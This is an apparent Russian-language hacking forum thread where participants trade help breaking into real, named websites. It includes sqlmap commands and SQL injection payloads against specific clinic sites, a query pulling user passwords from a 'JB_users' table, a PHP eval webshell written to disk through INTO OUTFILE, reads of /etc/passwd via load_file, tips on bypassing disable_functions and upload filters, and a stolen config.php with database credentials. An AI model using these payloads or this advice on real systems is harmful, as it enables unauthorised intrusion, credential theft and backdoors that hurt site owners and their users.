BabaDook да действительно... уязвимость есть... Вопрос мой не об этом. Если сможете помочь найти рабочий вектр раскрутки, очень поможете.
Да! Уже понял, что selinux или apparmor (особенно учитывая что ось убунта). Имеющиеся php-файлы редактировать не могу. Полный запрет на запись php файлов при наличии прав на запись. Перловые скрипты не выполняются. Питон еще конечно попробую, но крайне мало вероятно.
хм то есть шелл какой никакой есть? сессии то апач куда то пишет, ну конечно это могут быть всякие редисы, но может и файлы, тогда в файл сессии можно записать что нужно, а потом проинклудить, может нужно найти диру доступную для записи( типа /tmp ), то есть на диры сайта может и стоят 777, но вполне возможен какой нибудь chattr +i и ппц php работает как модуль или cgi? неплохо было бы скидывать phpinfo в таких случаях хотя бы. обходить disable_functions пробовали?
результат запроса видимо кешируется, поэтому при повторной обращении с таким же запросом скули нет в sqlmap есть макрос для рандомизации параметра python sqlmap.py -u 'http://www.profclinic.ru/search/?search_string=1234567890qwertyuiopasdfghjklzxcvbnm' --randomize=search_string рандомить он будет из символов "1234567890qwertyuiopasdfghjklzxcvbnm", можно указать другие если нужно мда пробел и запятая фильтруется, вместо некоторых спецсимволов и вовсе подставляется знак % валидный запрос удалось составить, но данные как извлечь не придумал http://www.profclinic.ru/search/?se...2cczxceferg555dfwergtwevvvttr')||(select(1))#
ребят, нужна помощ. Через sqlmap нашел блинд скулю, права на запись есть, всё как надо. Проблема в том, что поле логин выдает ошибку , где указан полный путь и при попытке залить шелл он берет его, а у тех папок из пути нету прав на запись..Так вот, как заставить его выбрать кастомный путь? Пробовал без sqlmapа UNION SELECT '<?php eval($_GET[‘e’]) ?>' INTO OUTFILE '' -- , но попытки оказались неудачными, тк в поле логин допустимо только 8 символов
так проблема в нахождении диры доступной на запись или в ограничении в 8 символов? вообще если есть одна скуля, то скорее всего есть и другая это в плане ограничений на счет диры рекомендую пройтись хотя бы каким нибудь сканером, тем же nikto например https://cirt.net/Nikto2 и попробовать залить в найденные диры
Я не особо понял в чем проблема. В любом случае в sqlmap можно указывать путь куда загружать шелл если задаешь параметр --os-shell (sqlmap сам предлагает ввести каталог). По поводу формы логина: там в html стоит ограничение на 8 символов или в скрипте? HTML можно в любом случае поправить если надо и убрать ограничения. Hope it helps.
Диру открытую для записи я нашёл, даже несколько. ладно, фиг с ним, что скульмапа мне не предлагает самому указать путь куда заливать. Я пошёл другим путём, решил залить его через --sql-shell и тут возникла проблема: Вообще все привилегии у пользователя есть исходя из --priv, попытался прочесть хоть какой-нибудь файл, а он мне выдает пустые в ответ. Нашёл другой сайт, такая же беда. Оба на линьке работают, может они настроены таким образом? вообще уже не знаю в какую сторону копать Так же пробовал руками , при чтении файла пустая страница, все диры перебрал
Приветствую камрады. На сайте есть форма для загрузки аватара, на вход принимает любой файл, но если загрузить php и попробовать его выполнить (даже пустой php файл), то выдает 500 External server error. Сайт на Yii 2.0.5, имя вебшелла (и любого файла) кодируется md5+время, поэтому создать файл .htaccess (чтобы дать выполнение php или в html php кода) нет возможности. Если загрузить вебшелл без расширения, то содержимое просто выводиться на экран. Пробовал загрузить jpg с прописанным в exif php кодом, не выполняется. Подскажите какие варианты можно попробовать еще. Spoiler: Код обработки загрузки аватара public function upload() { if ($this->validate()) { $avatarName = hash('md5', $this->avatar->baseName.''.time()); $this->avatar->saveAs('uploads/avatar/' . $avatarName . '.' . $this->avatar->extension); $this->avatar = $avatarName.'.'.$this->avatar->extension; return true; } else { return false; } }
Файл не записывается даже руками? Если обратится к нему через веб то файл не существует? Когда файлы вручную читаете то хексовое имя используете load_file(0x2f6574632f706173737764)? С таким в общем-то никогда не сталкивался, поэтому не знаю что сказать. Нужно проверить чтобы дира действительна была доступна на запись. Бывает еще что из-за настроек безопасности типа apparmor mysqld запрещено писать в каталоги кроме разрешенных (типа /var/tmp) и директория вроде бы доступна на запись, но файл там базой создать нельзя. Поэтому такая инъекция годится либо того чтобы из базы добыть логин:хеш и в админку заиметь доступ, либо в паре с каким-нибудь LFI.
возможно и правда из за настроек безопасности, ибо другие сайты с такой проблемой крутились на винде, либо домашнем пк, а тут они вообще пытались сами править код, но полностью не смогли убрать инъекцию и крутятся уже на норм хостингах. вычитал на забугорных форумах , упоминали как то тоже самое про безопасность. в общем вечером ещё смотреть буду... если что- то получится, отпишусь.
Для стандартной записи файла через скулю(SELECT код_шелла_в_HEX_или_в_кавычках FROM mysql.user INTO OUTFILE '/путь/файл') обязательно кавычки файла не должны фильтроваться(magic_quotes_* в PHP). Также возможно, что пути относительные, chroot или виндовые. Первым делом пробуйте прочитать файлы руками с кавычками и через hex, например load_file(0x2f6574632f706173737764) и load_file('/etc/passwd') - если первый прочитается, а второй нет, то наверняка фильтруются кавычки и стандартом не залить...
Всем добрый день. Уже как день ломаю голову: изучаю обычное переполнение буффера со срывом стека и исполнением шеллкода. Шелл проверен на нескольких си-программах - рабочий, /bin/sh. Сделал все по правилам: nop-shellcode-esp. Так вот, при переполнении осуществляется перезапись eip адресом esp. Но при переходе на перезаписанный адрес, вылетает ошибка segmentation fault, eip указывает на тот самый буфер(не хочет выполняться даже первая nop-инструкция). Может быть нужно отключить какую-нибудь службу или я что-то неправильно делаю при подмене адреса?(про неработоспособность шелла не пишите, он работает на всех Си-програмах). Помогите пожалуйста. Ubuntu x86
Выручайте, не могу понять в чем дело. Вот сама скуля: http://medtonnew.conceptsite.co.il/downloader.asp?file_id=99 and 1=(SeLecT+@@version)-- Сделал дамп таблиц и полей, но не могу слить ни одну запись из таблицы "JB_users". (http://medtonnew.conceptsite.co.il/...top+1+user_pass+'::'+user_id+from+JB_users)--)
Вытащил с сайта config.php в нем есть данные подключения к БД.В поле хост "localhost" Что можно сделать?